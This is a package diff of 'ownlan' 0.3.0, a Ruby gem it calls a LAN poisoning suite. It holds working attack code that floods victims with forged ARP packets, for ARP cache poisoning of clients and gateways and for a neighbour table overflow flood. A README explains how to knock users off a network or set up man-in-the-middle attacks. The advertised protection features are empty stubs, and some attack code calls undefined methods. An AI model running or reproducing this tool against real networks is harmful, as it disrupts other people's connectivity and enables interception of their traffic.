ownlan 0.3.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA1:
+  metadata.gz: 658740cd319738b37e958afd1eebeb078ce837b8
+  data.tar.gz: 19c72648c6c78002d5baa76b3e007490acf1eed4
+SHA512:
+  metadata.gz: d160941ba71b2a09558ed126127ffa77e93244983633e9fd0071556fa0cb12dd7eaee9c8c6c7d871b1866ad53a8f72e56301be2665e17dfd2047eddcefac2cab
+  data.tar.gz: db524183b9da4cc8b9a0058643feeb8422bd668f5034e695c999bb5902be78c2ced117bbbcf1a5d4cf7ef1657779787f30afd96719e5e1d467af6c4a3751a60f

data/.rspec

@@ -0,0 +1,2 @@
+--format documentation
+--color

data/.travis.yml

@@ -0,0 +1,4 @@
+language: ruby
+rvm:
+  - 2.1.2
+before_install: gem install bundler -v 1.11.2

data/Gemfile

@@ -0,0 +1,4 @@
+source 'https://rubygems.org'
+
+# Specify your gem's dependencies in ownlan.gemspec
+gemspec

data/Gemfile.lock

@@ -0,0 +1,64 @@
+PATH
+  remote: .
+  specs:
+    ownlan (0.3.0)
+      activesupport
+      packetfu
+      trollop
+
+GEM
+  remote: https://rubygems.org/
+  specs:
+    activesupport (4.2.3)
+      i18n (~> 0.7)
+      json (~> 1.7, >= 1.7.7)
+      minitest (~> 5.1)
+      thread_safe (~> 0.3, >= 0.3.4)
+      tzinfo (~> 1.1)
+    coderay (1.1.0)
+    diff-lcs (1.2.5)
+    i18n (0.7.0)
+    json (1.8.3)
+    method_source (0.8.2)
+    minitest (5.8.3)
+    network_interface (0.0.1)
+    packetfu (1.1.11)
+      network_interface (~> 0.0)
+      pcaprub (~> 0.12)
+    pcaprub (0.12.0)
+    pry (0.10.1)
+      coderay (~> 1.1.0)
+      method_source (~> 0.8.1)
+      slop (~> 3.4)
+    rake (10.4.2)
+    rspec (3.3.0)
+      rspec-core (~> 3.3.0)
+      rspec-expectations (~> 3.3.0)
+      rspec-mocks (~> 3.3.0)
+    rspec-core (3.3.2)
+      rspec-support (~> 3.3.0)
+    rspec-expectations (3.3.1)
+      diff-lcs (>= 1.2.0, < 2.0)
+      rspec-support (~> 3.3.0)
+    rspec-mocks (3.3.2)
+      diff-lcs (>= 1.2.0, < 2.0)
+      rspec-support (~> 3.3.0)
+    rspec-support (3.3.0)
+    slop (3.6.0)
+    thread_safe (0.3.5)
+    trollop (2.1.2)
+    tzinfo (1.2.2)
+      thread_safe (~> 0.1)
+
+PLATFORMS
+  ruby
+
+DEPENDENCIES
+  bundler (~> 1.11)
+  ownlan!
+  pry
+  rake (~> 10.0)
+  rspec (~> 3.0)
+
+BUNDLED WITH
+   1.11.2

data/MIT-LICENSE.txt

@@ -0,0 +1,20 @@
+Copyright (c) 2016 Sidney Sissaoui
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

data/README.md

@@ -0,0 +1,59 @@
+# OwnLan
+
+**Ownlan** aims to be a simple, concise and useful pentesting LAN poisoning suite, Written in ``Ruby`` and using ``PacketFU`` for reading and sending the packets on the wire. I decided to make this suite of tools mainly due do to the lack of existing tools on Linux, on top of helping me understanding the whole process behind the scene. OwnLan got uniques features, with some exclusives and excitings attacks probably never ever used on a (pentesting) network.
+
+## Features
+
+**OwnLan** has four features:
+
+1. Disconnect one or several users off the wire
+2. Protecting users from these kind of attacks
+3. Sending ARP + DHCP packets easily (manual way)
+4. Easy ARP packets capture
+
+### Disconnecting users off the wire
+
+The biggest part of **OwnLan**. It disconnects clients thanks to severals techniques:
+
+- Client side ARP Cache Poisoning (**first duplex**). *The most used and common attack nowadays, the main purpose is to make a MITM attack, but alone (= without IP forwarding), it will disconnect the client. Used by ``TuxCut`` and ``Arpspoof`` . If no MAC Adress is given, yours will be given.*
+- Gateway side ARP Cache Poisoning (**second duplex**). *A less known attack and powerful one, used by ``NetCut`` , the principle is to give the gateway a fake correspondancy of the victim MAC Adress to make the later one unreachable. If no MAC Adress is given, yours will be given.*
+- Neighbour Table Overflow attack. *I invented this attack, not to be modest. In fact, I should say 'implemented' since, usually, it is the gateway which is attacked (even so, this one attack is very rare), here, we attack the client directly. I don't think anyone has ever thought of this... and it works! The **NTOA** will not insert random MAC adress, but following a scheme, to ensure that 2 same mac adress won't be injected. So, it makes the attack faster. One client or all clients can be specified.*
+- Gateway ARP Cache Overflow. *This attack will render the GateWay ARP Cache unusable, and will make a loss of connectivity to all the clients. Some CISCO routers are immuned to this attack though*
+- DHCP Lease Spoofing [Not Implemented]. *This attack will spoof DHCP lease (udp) packet by telling the DHCP server 'Hello, I don't use this IP anymore, just disconnect me' . As of today, this attack is extremly rare, difficult to make, and used only by ``Yersinia`` . There is nothing to prevent this attack, after it has been used. Really.
+
+### Protecting [Not implemented]
+
+#### Prevention
+
+- A mix between arptables and iptables to become invisible in the network is a good fix to prevent ALL of the attacks. Please note that it is a prevention measure, and not a fix.
+
+#### Counter-Measure
+
+- Against a client side arp cache poisoning, OwnLan will set a static ARP Cache.
+- Against a client side or gateway side arp cache poisoning, Ownlan can send continuous fix packet to recreate the right correspondancy. It can be used for fixing other clients in the network.
+- Against a NTOA, Ownlan will delete all the cache, will set a static ARP cache on top of freezing the whole thing.
+
+### Sending Raw Packet [Not implemented]
+
+#### ARP
+
+    ownlan -sm [source-mac] -dm [destination-mac] -sip [source-ip] -dip [destination-ip] -op [1/2]
+
+OP is the opcode: 1 for ARP Request, 2 for ARP Reply
+
+#### DHCP (udp) [Not Implemented]
+
+## Notes
+
+- If you put the -ic to option, you will generate a fake IP Conflict to lure the client to the wrong way of handling his connection loss
+
+- The handy thing in this tools, is that thanks to all these options, you will literally be able to do whatever ARP Cache poisonning attack you wish to make. For instance, if you want to make a Full Duplex attack, use the first and second duplex attack as specified above.
+
+- OwnLan is way faster than ``arpspoof``, and can make 1000 times more requests per seconds than it. You can specify the delay between each request by specifying whatever attack you do : '-d [integer]' . Replace [integer] by some number in miliseconds.
+
+## Exemples
+
+[To do]
+
+
+Copyright (c) 2016 Sidney Sissaoui, released under the MIT license

data/Rakefile

@@ -0,0 +1,6 @@
+require "bundler/gem_tasks"
+require "rspec/core/rake_task"
+
+RSpec::Core::RakeTask.new(:spec)
+
+task :default => :spec

data/bin/ownlan

@@ -0,0 +1,6 @@
+#!/usr/bin/env ruby
+
+require 'ownlan'
+
+opts = Ownlan::Cli.options
+Ownlan.new(opts).call

data/lib/ownlan/application.rb

@@ -0,0 +1,47 @@
+module Ownlan
+  class Application
+
+    attr_reader :raw_options, :config
+
+    def initialize(options)
+      @raw_options = options
+
+      @config = ::Ownlan.config.dup
+
+      config_options = raw_options.reject{ |k, v| k.to_s.match('_given') || !v }
+      set_options(config_options)
+    end
+
+    def call
+      action = config.modes.find do |type, modes|
+        modes.find { |mode| process(type, mode) }
+      end
+
+      show_menu unless action
+    end
+
+    private
+
+    def show_menu
+      Trollop.educate
+    rescue ArgumentError
+      raise ::Ownlan::MissingArgumentError, 'Missing or Invalid parameter.'
+    end
+
+    def set_options(config_options)
+      config_options.each { |k, v| config.send("#{k}=", v) }
+    end
+
+    def process(type, mode)
+      return unless good_args?(type, mode)
+      "Ownlan::#{type.capitalize}::#{mode.capitalize}".constantize.new(config).process
+    rescue ::NoMethodError
+      show_menu
+    end
+
+    def good_args?(type, mode)
+      raw_options[type] == mode.to_s
+    end
+
+  end
+end

data/lib/ownlan/attack/base.rb

@@ -0,0 +1,29 @@
+module Ownlan
+  module Attack
+    class Base
+
+      attr_reader :config
+
+      def initialize(config)
+        @config  = config
+      end
+
+      private
+
+      def victim_ip
+        config.victim_ip ||= raise ::Ownlan::MissingArgumentError, 'victim_ip parameter is missing.'
+      end
+
+      def victim_mac
+        mac = ::PacketFu::Utils::arp(victim_ip, iface: config.interface)
+        mac ||= raise ::Ownlan::VictimNotReachable, "#{victim_ip}'s mac address cannot be guessed."
+      rescue ArgumentError
+        raise ::Ownlan::WrongVictimIpFormat, "#{victim_ip} is not a valid ip format."
+      end
+
+      def self_mac
+        ServiceObjects::NetworkInformation.self_mac(config.interface)
+      end
+    end
+  end
+end

data/lib/ownlan/attack/client.rb

@@ -0,0 +1,18 @@
+module Ownlan
+  module Attack
+    class Client < Base
+
+      def process
+        gw_ip = `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`
+        client_mac = PacketFu::Utils::arp(config.client_ip, :iface => config.interface)
+
+        config.source_mac.nil? ? saddr = ServiceObjects::self_mac(config.interface) : saddr = config.source_mac
+        daddr = client_mac
+        saddr_ip = gw_ip
+        daddr_ip = config.client_ip
+        crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, daddr_ip, config.delay, config.interface)
+        send_packet(config.delay, config.interface, crafted_packet)
+      end
+    end
+  end
+end

data/lib/ownlan/attack/fake_ip_conflict.rb

@@ -0,0 +1,6 @@
+module Ownlan
+  module Attack
+    class FakeIpConflict < Base
+    end
+  end
+end

data/lib/ownlan/attack/gateway.rb

@@ -0,0 +1,21 @@
+module Ownlan
+  module Attack
+    class Gateway < Base
+
+      def process
+        gw_ip = `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`
+        gw_mac = PacketFu::Utils::arp(gw_ip, :iface => interface)
+
+        config.source_mac.nil? ? saddr = ServiceObjects::NetworkInformation.self_mac(interface) : saddr = config.source_mac
+
+        daddr    = gw_mac
+        saddr_ip = config.client_ip
+        daddr_ip = gw_ip
+
+        crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip, saddr_ip, config.delay, interface)
+        send_packet(config.delay, config.interface, crafted_packet)
+      end
+
+    end
+  end
+end

data/lib/ownlan/attack/ntoa.rb

@@ -0,0 +1,58 @@
+module Ownlan
+  module Attack
+    class Ntoa < Base
+
+      def process
+        @a = 10
+        @b = 10
+        @c = 10
+        @i = 0
+
+        saddr = "00:03:FF:#{@a}:#{@b}:#{@c}"
+        daddr = victim_mac
+        saddr_ip = "#{source_ip_base}.#{@b}.#{@c}"
+        daddr_ip = victim_ip
+
+        crafted_packet = ServiceObjects::CraftArpPacket.new(config, saddr, daddr, saddr_ip, daddr_ip).call
+
+        loop do
+          while @a < 100 do
+            @b = 10
+            @a += 1
+            while @b < 100 && @a < 100 do
+              @c = 10
+              @b += 1
+              while @c < 100 && @b < 100 do
+                @c += 1
+
+                crafted_packet.eth_saddr     = source_mac(@a, @b, @c)
+                crafted_packet.arp_saddr_mac = source_mac(@a, @b, @c)
+
+                crafted_packet.arp_saddr_ip = "#{source_ip_base}.#{(@b - 10) }.#{(@c - 10)}"
+
+                crafted_packet.to_w(config.interface)
+                @i += 1
+                print "\r The ARP packet has been sent successfully #{@i} times"
+                sleep config.delay
+              end
+            end
+          end
+        end
+      end
+
+      private
+
+      def source_ip_base
+        ServiceObjects::NetworkInformation.self_ip.to_s.split('.')[0..1].join('.')
+      end
+
+      def source_mac(a=nil, b=nil, c=nil)
+        if config.random_mac
+          "00:03:FF:#{@a}:#{@b}:#{@c}"
+        else
+          self_mac
+        end
+      end
+    end
+  end
+end

data/lib/ownlan/cli.rb

@@ -0,0 +1,83 @@
+module Ownlan
+  class Cli
+
+    def self.options
+      Trollop::options do
+
+        version "OwnLan (c) 2016 Sidney Sissaoui, published under the MIT Licence"
+        banner <<-EOS
+
+-- Ownlan is a simple, useful yet awesome pentesting LAN poisoning suite. --
+
+Usage:
+      ownlan --[options] [sub-options] --[other-option]
+
+Example:
+      ownlan --attack client --target-ip 192.168.0.1 --interface eth0 --delay 0
+
+where [options] are either:
+EOS
+
+  opt :attack, "Set an attack on a device on the network",  short: 'a', type: :string
+  opt :protect, "Protect a device from lan attacks",        short: 'p', type: :string
+  opt :broadcast, "Inject ARP crafted packets in the wire", short: 'b', type: :string
+  opt :capture, "Sniffing ARP packets on the network",      short: 'c', type: :string
+
+# Attack part
+banner <<-EOS
+
+where [sub-options] are either:
+
+Attacks sub-options   :
+  client              Set a First-Duplex disconnection attack (the client is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
+                      * Require options: victim_ip
+  gateway             Set a Second-Duplex disconnection attack (the gateway is targeted). If no source mac argument, yours will be given (useful for MITM Attacks).
+                      * Require options: victim_ip
+  ntoa                The client is targeted to get disconnected, using a neighbour table overflow attack. Requires a victim ip.
+                      * Require options:      victim_ip
+                      * Falcultative options: random_source_mac
+  fake-ip-conflict    Generate a fake ip conflict to the victim. Can be used along all the others attacks, or alone.
+                      * Require options: victim_ip
+  EOS
+
+
+# Protect part
+banner <<-EOS
+
+Protect sub-options:
+  stealth          Becomes invisible from network scanners, preventing you from getting targeted.
+  static           Set a static ARP Cache for the current session. Good against first-duplex ARP Cache Poisoning.
+  freeze           Reset and Freeze your ARP Cache. Good against NTOAs.
+  resynchronize    Resynchronize the Gateway ARP Cache by sending to it continuous healthy correspondancies packets to protect someone or yourself from gateway attack. (reveive IP or MAC argument)
+
+  EOS
+
+# Broadcast part
+banner <<-EOS
+
+Send sub-options:
+
+  EOS
+
+# Capture part
+banner <<-EOS
+Capture sub-options:
+
+  EOS
+
+# Other options part
+banner <<-EOS
+Other Options:
+
+  EOS
+
+  opt :delay,              "Set the time lapse delay between each packet", default: 0.5
+  opt :interface,          "Set the network interface which will be used", short: 'i', default: 'wlan0'
+  opt :random_source_mac,  "If setted, the used origin addresses will be randomly generated. If not specified, the corresponding mac of your given interface will be used #{mac=ServiceObjects::NetworkInformation.self_mac('wlan0') ; ', in your case ' + mac + ' for wlan0' if !mac.empty?}"
+  opt :victim_ip,          "Set the ip of the target ip address.", short: 't', type: :string
+  opt :source_mac,         "Set the mac of the source mac address.", short: 's', type: :string
+
+      end
+    end
+  end
+end

data/lib/ownlan/config.rb

@@ -0,0 +1,55 @@
+module Ownlan
+
+  # Access point for the gem configurations.
+  #
+  # @return [Ownlan::Configuration] a configuration instance.
+  def self.config
+    @config ||= Configuration.new
+  end   
+
+  # Configure hook used in the gem initializer. Convinient way to set all the
+  # gem configurations.
+  #
+  # example:
+  #   Ownlan.configure do |config|
+  #     config.depth = 3
+  #   end
+  #
+  # @return [void]
+  def self.configure
+    yield config if block_given?
+  end
+
+  class Configuration
+
+    attr_accessor :attack, :protect, :broadcast, :capture, :client, :gateway, :ntoa, :fake_ip_conflict, :stealth,
+                  :static, :freeze, :resynchronize, :delay, :interface, :version, :help, :victim_ip, :random_mac, :modes
+
+    # Create a new instance.
+    #
+    # @return [Ownlan::Configuration]
+    def initialize
+      @modes     = { attack: attack_sub_modes, protect: protect_sub_modes, manual: manual_sub_modes }
+      @interface = 'wlan0'
+      @delay     = 0.5
+    end
+
+    private
+
+    def main_modes
+      [:attack, :protect, :manual]
+    end
+
+    def attack_sub_modes
+      [:client, :gateway, :ntoa, :fake_ip_conflict]
+    end
+
+    def protect_sub_modes
+      [:freeze, :resynchronize, :static, :stealth]
+    end
+
+    def manual_sub_modes
+      [:broadcast, :capture]
+    end
+  end
+end

data/lib/ownlan/exceptions.rb

@@ -0,0 +1,6 @@
+module Ownlan
+  class Exception < StandardError; end
+  class MissingArgumentError < Exception; end
+  class VictimNotReachable < Exception; end
+  class WrongVictimIpFormat < Exception; end
+end

data/lib/ownlan/manual/broadcast.rb

@@ -0,0 +1,6 @@
+module Ownlan
+  module Manual
+    class Broadcast
+    end
+  end
+end

data/lib/ownlan/manual/capture.rb

@@ -0,0 +1,6 @@
+module Ownlan
+  module Manual
+    class Capture
+    end
+  end
+end

data/lib/ownlan/protect/base.rb

@@ -0,0 +1,6 @@
+module Ownlan
+  module Protect
+    class Base
+    end
+  end
+end

data/lib/ownlan/protect/freeze.rb

@@ -0,0 +1,6 @@
+module Ownlan
+  module Protect
+    class Freeze
+    end
+  end
+end

data/lib/ownlan/protect/resynchronize.rb

@@ -0,0 +1,6 @@
+module Ownlan
+  module Protect
+    class Resynchronize
+    end
+  end
+end

data/lib/ownlan/protect/static.rb

@@ -0,0 +1,6 @@
+module Ownlan
+  module Protect
+    class Static
+    end
+  end
+end

data/lib/ownlan/protect/stealth.rb

@@ -0,0 +1,6 @@
+module Ownlan
+  module Protect
+    class Stealth
+    end
+  end
+end

data/lib/ownlan/service_objects/craft_arp_packets.rb

@@ -0,0 +1,31 @@
+module ServiceObjects
+  class CraftArpPacket
+    attr_reader :saddr, :daddr, :saddr_ip, :daddr_ip
+
+    def initialize(config, saddr, daddr, saddr_ip, daddr_ip)
+      @delay     = config.delay
+      @interface = config.interface
+
+      @saddr     = saddr
+      @daddr     = daddr
+      @saddr_ip  = saddr_ip
+      @daddr_ip  = daddr_ip
+
+    end
+
+    def call
+      arp_packet = ::PacketFu::ARPPacket.new
+
+      arp_packet.eth_saddr     = saddr
+      arp_packet.eth_daddr     = daddr
+      arp_packet.arp_saddr_mac = saddr
+      arp_packet.arp_daddr_mac = daddr
+      arp_packet.arp_saddr_ip  = saddr_ip
+      arp_packet.arp_daddr_ip  = daddr_ip
+      arp_packet.arp_opcode    = 1
+
+      arp_packet
+    end
+
+  end
+end

data/lib/ownlan/service_objects/network_information.rb

@@ -0,0 +1,15 @@
+module ServiceObjects
+  class NetworkInformation
+    def self.self_mac(interface)
+      @self_mac ||= `ifconfig | grep '#{interface}' | tr -s ' ' | cut -d ' ' -f5`.strip
+    end
+
+    def self.gateway_ip
+      @gateway_ip ||= `netstat -rn | grep 0.0.0.0 | awk '{print $2}' | grep -v "0.0.0.0"`.strip
+    end
+
+    def self.self_ip
+      @self_ip ||= Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
+    end
+  end
+end

data/lib/ownlan/service_objects/send_arp_packets.rb

@@ -0,0 +1,27 @@
+module ServiceObjects
+  class SendArpPackets
+    attr_reader :arp_packet, :config
+
+    def initialize(application, packet)
+      @packet = packet
+      @config = application.config
+    end
+
+    def call
+      @i = 0
+
+      Thread.new do
+        while true
+          print "\r The ARP packet has been sent successfully #{@i} times"
+        end
+      end
+
+      while true
+        @i += 1
+        packet.to_w(config.interface)
+        sleep config.delay
+      end
+    end
+
+  end
+end

data/lib/ownlan/version.rb

@@ -0,0 +1,3 @@
+module Ownlan
+  VERSION = "0.3.0"
+end

data/lib/ownlan.rb

@@ -0,0 +1,41 @@
+require 'ownlan/application'
+require 'ownlan/config.rb'
+require 'ownlan/cli'
+require 'ownlan/exceptions'
+require 'ownlan/attack/base.rb'
+require 'ownlan/attack/client.rb'
+require 'ownlan/attack/fake_ip_conflict.rb'
+require 'ownlan/attack/gateway.rb'
+require 'ownlan/attack/ntoa.rb'
+require 'ownlan/manual/capture.rb'
+require 'ownlan/manual/broadcast.rb'
+require 'ownlan/protect/freeze.rb'
+require 'ownlan/protect/resynchronize.rb'
+require 'ownlan/protect/static.rb'
+require 'ownlan/protect/stealth.rb'
+require 'ownlan/service_objects/craft_arp_packets'
+require 'ownlan/service_objects/send_arp_packets'
+require 'ownlan/service_objects/network_information'
+require 'active_support/inflector'
+require 'thread'
+require 'trollop'
+require 'pry'
+require 'packetfu'
+
+
+
+module Ownlan
+
+  class << self
+
+    attr_reader :application
+
+    def new(opts)
+      @application = Ownlan::Application.new(opts)
+    end
+
+    def call
+      application.call
+    end
+  end
+end

data/ownlan.gemspec

@@ -0,0 +1,36 @@
+# coding: utf-8
+lib = File.expand_path('../lib', __FILE__)
+$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
+require 'ownlan/version'
+
+Gem::Specification.new do |spec|
+  spec.name                  = 'ownlan'
+  spec.version               = Ownlan::VERSION
+  spec.authors               = ['sidney']
+  spec.email                 = ['shideneyu@gmail.com']
+  spec.summary               = 'Ownlan aims to be a simple, concise and useful pentesting LAN poisoning suite'
+  spec.description           = 'Ownlan is used to test a network against MITM attacks, and then to secure it.'
+  spec.homepage              = 'https://github.com/shideneyu/ownlan'
+  spec.license               = 'MIT'
+  spec.required_ruby_version = '~> 2.1.2'
+
+  # Prevent pushing this gem to RubyGems.org by setting 'allowed_push_host', or
+  # delete this section to allow pushing this gem to any host.
+  if spec.respond_to?(:metadata)
+    spec.metadata['allowed_push_host'] = 'https://rubygems.org'
+  else
+    raise 'RubyGems 2.0 or newer is required to protect against public gem pushes.'
+  end
+
+  spec.files         = `git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
+  spec.executables   = ['ownlan']
+  spec.require_paths = ['lib']
+
+  spec.add_dependency 'packetfu'
+  spec.add_dependency 'trollop'
+  spec.add_dependency 'activesupport'
+  spec.add_development_dependency 'bundler', '~> 1.11'
+  spec.add_development_dependency 'rake', '~> 10.0'
+  spec.add_development_dependency 'rspec', '~> 3.0'
+  spec.add_development_dependency 'pry'
+end

metadata

@@ -0,0 +1,177 @@
+--- !ruby/object:Gem::Specification
+name: ownlan
+version: !ruby/object:Gem::Version
+  version: 0.3.0
+platform: ruby
+authors:
+- sidney
+autorequire: 
+bindir: bin
+cert_chain: []
+date: 2016-01-21 00:00:00.000000000 Z
+dependencies:
+- !ruby/object:Gem::Dependency
+  name: packetfu
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+- !ruby/object:Gem::Dependency
+  name: trollop
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+- !ruby/object:Gem::Dependency
+  name: activesupport
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+- !ruby/object:Gem::Dependency
+  name: bundler
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '1.11'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '1.11'
+- !ruby/object:Gem::Dependency
+  name: rake
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '10.0'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '10.0'
+- !ruby/object:Gem::Dependency
+  name: rspec
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '3.0'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - "~>"
+      - !ruby/object:Gem::Version
+        version: '3.0'
+- !ruby/object:Gem::Dependency
+  name: pry
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+description: Ownlan is used to test a network against MITM attacks, and then to secure
+  it.
+email:
+- shideneyu@gmail.com
+executables:
+- ownlan
+extensions: []
+extra_rdoc_files: []
+files:
+- ".rspec"
+- ".travis.yml"
+- Gemfile
+- Gemfile.lock
+- MIT-LICENSE.txt
+- README.md
+- Rakefile
+- bin/ownlan
+- lib/ownlan.rb
+- lib/ownlan/application.rb
+- lib/ownlan/attack/base.rb
+- lib/ownlan/attack/client.rb
+- lib/ownlan/attack/fake_ip_conflict.rb
+- lib/ownlan/attack/gateway.rb
+- lib/ownlan/attack/ntoa.rb
+- lib/ownlan/cli.rb
+- lib/ownlan/config.rb
+- lib/ownlan/exceptions.rb
+- lib/ownlan/manual/broadcast.rb
+- lib/ownlan/manual/capture.rb
+- lib/ownlan/protect/base.rb
+- lib/ownlan/protect/freeze.rb
+- lib/ownlan/protect/resynchronize.rb
+- lib/ownlan/protect/static.rb
+- lib/ownlan/protect/stealth.rb
+- lib/ownlan/service_objects/craft_arp_packets.rb
+- lib/ownlan/service_objects/network_information.rb
+- lib/ownlan/service_objects/send_arp_packets.rb
+- lib/ownlan/version.rb
+- ownlan.gemspec
+- pkg/ownlan-0.1.0.gem
+- pkg/ownlan-0.3.0.gem
+homepage: https://github.com/shideneyu/ownlan
+licenses:
+- MIT
+metadata:
+  allowed_push_host: https://rubygems.org
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - "~>"
+    - !ruby/object:Gem::Version
+      version: 2.1.2
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubyforge_project: 
+rubygems_version: 2.4.5.1
+signing_key: 
+specification_version: 4
+summary: Ownlan aims to be a simple, concise and useful pentesting LAN poisoning suite
+test_files: []